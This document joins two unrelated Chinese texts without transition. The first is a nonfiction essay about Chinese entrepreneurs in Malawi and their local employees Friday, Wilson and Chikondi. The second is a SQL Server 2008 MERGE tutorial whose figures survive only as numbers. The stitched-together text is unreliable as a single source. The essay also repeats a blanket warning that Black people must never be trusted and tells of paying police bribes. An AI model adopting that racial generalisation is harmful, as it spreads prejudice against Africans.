早上,王峰打开工厂的厚重的铁门,经过询问,他找了三个有驾照让张有文面试,张有文录取了其中学历最高的,就是Friday。

其实Friday也只上过三天大学。

在加入之前,Friday开过中巴,赚不了多少钱,练就了对付警察的本领。中国人给5,000克瓦查解决的问题,Friday给1,000克瓦查就够了。一次我们晚上车被警察拦住,警察不放我们走,他跟Friday说:今天晚上风好大呀。

警察的意思是,他在外面查车不容易,挨冻受饿的,就给他一些钱吧。

Friday装作不懂,也说:是呀,风好大。

警察无奈,只好放我们走了。

Friday家里穷,从小估计营养不良,是一幅弱不禁风的样子。一次,他咳嗽厉害,张有文给了他一袋板蓝根,喝了后就好了,Friday很感激。

圣诞节,我给每个当地同事发了一段话,问他们的梦想是什么,Friday回我一段很长的话。他的大意是他想完成大学学业,也许这个愿望对我们很简单,对他自己来讲太难了,因为他根本无法攒够大学的学费,只有靠我们的帮助。

我看过Friday的手机,他里面装了很多电子书,一些是高中的课本,譬如,如何解一元二次方程。已经离开学校四年了,他仍然坚持学习这些现实中用不着的东西。

后来,Friday又报了一个周末的学习班,去学习电子课程。

创业伊始,当地的中国人就告诉我们,任何情况下不要相信黑人。但是我们觉得,必须要本地化才可能成功,不仅要相信他们,还要依靠他们。

四个月后,张有文开始了第一次尝试,他让Friday去乡镇收货款。

张有文记下了这样一段话。

“到了下午六点,Friday还没有回来,我慌了,一遍又一遍的电话催,Friday一会说信号不好,一会说等不到巴士,最后,当我绝望的时候,晚上十点钟,Friday回来了,他把货款一分不少的交给我,我非常感动。信任,太不容易。”

半年后,张有文在马拉维故事被央视报道,在华人世界中,央视说:“看中间穿粉色上衣的小伙,他是当地一个了不起的创业青年。他在当地卖智能手机,赢得了当地第一品牌……”

四、威尔逊

马拉维的孩子在马拉维湖嬉水

马拉维的孩子在马拉维湖嬉水

王旭峰比张有文晚四个月进公司,从2014年8月到2015年4月整整8个月的时间里,他和本地员工威尔逊大部分时间都在一起,甚至吃和住。

王旭峰说,虽然很多做生意的中国人都告诉他,千万不要让黑人接触钱物,但他一直保留自己的观点,因为威尔逊表现出和其他员工不一样的品质,比较吃苦,即使有很多抱怨,但仍然会去完成他自己的工作。王旭峰会和威尔逊一起聊很多东西,包括未来和梦想。

同Friday一样,威尔逊也说有一天他要回到学校,去继续完成他的学业,对于这样贫困的国家来说,最简单的梦想是能不能过上好日子,威尔逊却不同,这使王旭峰不得不会对对威尔逊有些敬佩。

慢慢的,王旭峰对威尔逊的信任,在时间的推移下建立起来。王旭峰认为,威尔逊能够在公司做到很高的职位,将来会很有出息。王旭峰开始让威尔逊独立去收货款。几个月下来,并没有发现差错。

这种信任,一直持续到4月的一天,王旭峰发现威尔逊少了部分货款。王旭峰正式和威尔逊谈起来,威尔逊只是沉默流汗,他最后说,少的那部分货款从工资里扣掉吧。

王旭峰并没有说什么,他只是想,可能威尔逊家里急需用钱,拿这笔钱来救急了。

过后几天,王旭峰又发现少了几台手机,他开始有些怀疑,询问和威尔逊一起处理这批货的当地员工,这个员工的回答是:那天发生的所有事都忘了,什么都记不起!

这时候王旭峰开始清查威尔逊经手的所有货款,发现他最近的好几笔款项都有了问题,而此时的威尔逊,已经生病请假回家了。

王旭峰只好每天打电话问威尔逊什么时候回来,威尔逊总是说明天,直到第四天,所有的电话都无法接通。

王旭峰感觉自己被深深的捅了一刀,刀还是自己递过去的。

又想起了刚来时所有中国人的建议,王旭峰的信任瞬间崩塌。

“塌的连渣都不剩。”王旭峰说。

王旭峰开始反省,正是自己给了威尔逊犯错的机会,并且没有及时纠正错误,导致了威尔逊的贪婪恶化,从欺骗到跑路。

在这以后,只要当地员工坑蒙拐骗不诚信的事情发生,王旭峰就会开除他,虽然不断地开除员工,很影响一个团队的建设,但是诚信作为底线是必须坚守的。王旭峰也承认,这是威尔逊跑路以后留下的阴影。

“罗马不是一天建成的,但是,摧毁它,一天就够了。”这句话,曾经是威尔逊跟王旭峰说的。

然而,在马拉维工作了一年后,王旭峰有一次回国度假的机会。他决定,把这个机会让给马拉维的本地员工Chikondi。

王旭峰说,在与马拉维本地同事接触的过程中,他感觉,要建立信任,必须让本地同事见到中国。譬如在王旭峰讲到公司要把生意拓展到更多的非洲国家时,当地同事会非常不解,因为在他们心目中,利隆圭是除纽约外世界上最好的城市了。为什么还要费劲在其它非洲国家做生意呢?

为何推荐Chikondi,王旭峰在给我的邮件中列举了三个原因:

  • 第一:Chikondi是布兰太尔地区的库存管理,没有出过一次差错。

  • 第二:Chikondi的愿望是来中国,到中国的手机工厂学习手机维修。

  • 第三:他承诺了Chikondi,如果他做到诚实,那么就带他来中国。

Chikondi来到了中国,王旭峰兑现了这个承诺。

(完)

【作者简介:刘文,应用数学学士,计算数学硕士; 曾在总参谋部军队高校任教;曾经自办GRE英语培训班;在阿里巴巴1号店等电商的职场打拼过;现在创立Big Five,在非洲多个国家拓展业务,成为一个创业者。喜欢科幻,加入破茧计划从非虚构开始……】


    Merge关键字在SQL Server 2008被引入,它能将Insert,Update,Delete简单的并为一句。MSDN对于Merge的解释非常的短小精悍:”根据与源表联接的结果,对目标表执行插入、更新或删除操作。例如,根据在另一个表中找到的差异在一个表中插入、更新或删除行,可以对两个表进行同步。”,通过这个描述,我们可以看出Merge是关于对于两个表之间的数据进行操作的。

    可以想象出,需要使用Merge的场景比如:

  •     数据同步

  •     数据转换

  •     基于源表对目标表做Insert,Update,Delete操作

 

使用Merge关键字的好处

    首先是更加短小精悍的语句,在SQL Server 2008之前没有Merge的时代,基于源表对目标表进行操作需要分别写好几条Insert,Update,Delete。而使用Merge,仅仅需要使用一条语句就好。下面我们来看一个例子。

    首先建立源表和目标表,并插入相关的数据,如图1所示。

  1

     图1.创建测试表并插入测试数据

   

    下面我们来写一个简单的Merge语句,如图2所示。

     2

     图2.一个简单的Merge语句

  

     所造成的结果如图3所示。

     3

     图3.Merge语句对于目标表的更新

 

     最终目标表的结果如图4所示。

     4

     图4.最后目标表的结果

 

    Merge语句还有一个强大的功能是通过OUTPUT子句,可以将刚刚做过变动的数据进行输出。我们在上面的Merge语句后加入OUTPUT子句,如图5所示。

    5

    图5.Merge语句后加上OUTPUT子句

 

   此时Merge操作完成后,将所变动的语句进行输出,如图6所示。

   6

   图6.输出Merge操作产生的数据变更

 

   当然了,上面的Merge关键字后面使用了多个WHEN…THEN语句,而这个语句是可选的.也可以仅仅新增或是仅仅删除,如图7所示。

   7

    图7.仅仅插入的Merge语句

 

   我们还可以使用TOP关键字限制目标表被操作的行,如图8所示。在图2的语句基础上加上了TOP关键字,我们看到只有两行被更新。

   8

    图8.使用TOP关键字的Merge语句

 

    但仅仅是MATCHED这种限制条件往往不能满足实际需求,我们可以在图7那个语句的基础上加上AND附加上额外的限制条件,如图9所示。

    9

    图9.加上了AND限制条件的Merge语句

 

Merge关键字的一些限制

  •     使用Merge关键字只能更新一个表

  •     源表中不能有重复的记录